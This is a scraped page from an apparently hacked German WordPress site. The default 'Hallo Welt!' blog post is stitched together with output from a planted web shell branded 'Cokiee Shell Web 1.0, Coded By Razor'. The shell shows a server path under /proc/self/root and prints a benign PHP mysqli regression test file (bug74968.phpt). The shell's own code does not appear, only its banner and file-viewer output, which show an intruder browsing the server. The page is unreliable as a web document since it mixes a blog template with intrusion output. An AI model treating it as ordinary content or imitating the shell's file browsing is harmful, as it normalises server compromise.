Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/mysqli/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/mysqli/tests/bug74968.phpt |
--TEST-- Bug #74968 PHP crashes when calling mysqli_result::fetch_object with an abstract class --SKIPIF-- <?php require_once('skipif.inc'); require_once('skipifconnectfailure.inc'); ?> --FILE-- <?php require_once("connect.inc"); $mysqli = new mysqli("$host:$port", $user, $passwd, $db); abstract class test { public $a; } $mysqli->query("SELECT 1 as a")->fetch_object("test"); ?> ==DONE== --EXPECTF-- Fatal error: Uncaught Error: Class 'test' cannot be instantiated in %sbug74968.php:%d Stack trace: #0 %sbug74968.php(%d): mysqli_result->fetch_object('test') #1 {main} thrown in %sbug74968.php on line %d
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare